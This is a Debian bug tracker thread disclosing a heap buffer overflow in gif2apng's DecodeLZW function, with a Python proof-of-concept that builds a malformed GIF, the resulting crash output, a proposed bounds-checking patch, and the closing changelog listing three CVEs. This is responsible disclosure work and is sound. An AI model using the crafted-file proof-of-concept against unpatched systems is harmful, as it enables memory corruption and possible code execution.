--- Begin Message ---
- To: Debian Bug Tracking System <submit@bugs.debian.org>
- Subject: gif2apng: Heap based buffer overflow in the DecodeLZW function
- From: Kolja Grassmann <koljagrassmann@mailbox.org>
- Date: Sun, 26 Dec 2021 23:56:42 +0100 (CET)
- Message-id: <1649834967.551942.1640559402734@office.mailbox.org>
Package: gif2apng
Version: 1.9+srconly-3
Severity: important
Tags: security
Dear Maintainer,
There is a heap based buffer overflow in the gif2apng package. The vulnerability is located in the DecodeLZW function in the gif2apng.cpp file. The problem here is, that this function writes to a buffer, that was allocated using malloc without checking the size of this buffer. Therefore it is possible to provide a gif to the program, that contains more data than fits into this buffer leading to a memory corruption on the heap. I wrote the following poc script in python:
#!/bin/python3
# Writing to poc.gif
f = open("poc.gif", "wb")
# Data needed to enter the code path:
beginning = b"GIF87a" + b"\x10\x00\x10\x00" + b"\x01" * 3 + b"\x2c" + b"\x01" *
9
f.write(beginning)
# Value needed in the vulnerable function
mincode = b"\x07"
f.write(mincode)
for i in range(0,10000):
# Size value and byte we write to the heap
target_char = b"\x01" + b"A"
f.write(target_char)
# Resetting the values using "clearcode" to keep the code path as simple
as possible
clear_code = b"\x01" + b"\x80"
f.write(clear_code)
f.close()
This script creates a file called poc.gif, which writes 10000 "A"'s into a buffer of size 512 leading to memory corruption on the heap. I tested this on Debian 10 using the current version of the package from the testing repository and got the following output:
$ gif2apng -i0 poc.gif /dev/null
gif2apng 1.9 using ZLIB
Reading 'poc.gif'...
1 frames.
malloc(): corrupted top size
Abgebrochen
This vulnerability seems to allow a write of an arbitrary number of arbitrary bytes. Therefore I think it likely, that this could be exploited.
To fix this issue locally I added a buffer_size variable to the main function, which holds the size of the allocated buffer (the imagesize value used initially for the allocation was overwritten at some point). I then passed this value to the DecodeLZW function and added two if-statements around the writes to the the buffer to check whether the buffer can hold more bytes. My code looks as follows:
void DecodeLZW(unsigned char * img, unsigned int img_size, FILE * f1) // added
parameter img_size
{
unsigned int bytes_written = 0;
[...]
if (lastcode == -1)
{
if (bytes_written < img_size) { // Added if-statement
*pout++ = suffix[code];
bytes_written++;
}
else {
printf("Invalid image size\n");
exit(0);
}
firstchar = lastcode = code;
continue;
}
[...]
do
{
if (bytes_written < img_size) { // Added if-statement
*pout++ = *--pstr;
bytes_written++;
}
else {
printf("Invalid image size\n");
exit(0);
}
}
while (pstr > str);
[...]
int main(int argc, char** argv)
{
unsigned int buffer_size = 0; // New variable to hold the size of the
buffer
[...]
grayscale = 1;
buffer_size = imagesize*2; // New variable, as imagesize is overwritten
at some point
buffer = (unsigned char *)malloc(buffer_size);
if (buffer == NULL)
{
printf("Error: not enough memory\n");
return 1;
}
[...]
DecodeLZW(buffer, buffer_size, f1); // Added buffer_size
[...]
DecodeLZW(buffer, buffer_size, f1); // Added Buffer size
[...]
This compiled successfully and fixed the buffer overflow for me. I am however not sure if this is the cleanest way to fix the issue and it could use some more testing.
Best regards
Kolja
-- System Information:
Debian Release: 10.11
APT prefers oldstable-updates
APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages gif2apng depends on:
ii libc6 2.28-10
ii libzopfli1 1.0.2-1
ii zlib1g 1:1.2.11.dfsg-1
gif2apng recommends no packages.
Versions of packages gif2apng suggests:
pn apng2gif <none>
-- no debconf information
--- End Message ---
--- Begin Message ---
Source: gif2apng
Source-Version: 1.9+srconly-2+deb10u1
Done: Håvard F. Aasen <havard.f.aasen@pfft.no>
We believe that the bug you reported is fixed in the latest version of
gif2apng, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 1002668@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Håvard F. Aasen <havard.f.aasen@pfft.no> (supplier of updated gif2apng package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Format: 1.8
Date: Thu, 28 Jul 2022 23:56:21 +0200
Source: gif2apng
Architecture: source
Version: 1.9+srconly-2+deb10u1
Distribution: buster
Urgency: medium
Maintainer: Khalid El Fathi <khalid@elfathi.fr>
Changed-By: Håvard F. Aasen <havard.f.aasen@pfft.no>
Closes: 1002667 1002668 1002687
Changes:
gif2apng (1.9+srconly-2+deb10u1) buster; urgency=medium
.
* Non-maintainer upload.
* CVE-2021-45909, Closes: #1002668:
heap based buffer overflow in the DecodeLZW
* CVE-2021-45910, Closes: #1002667:
heap-based buffer overflow within the main function
* CVE-2021-45911, Closes: #1002687:
heap based buffer overflow in processing of delays in the main function
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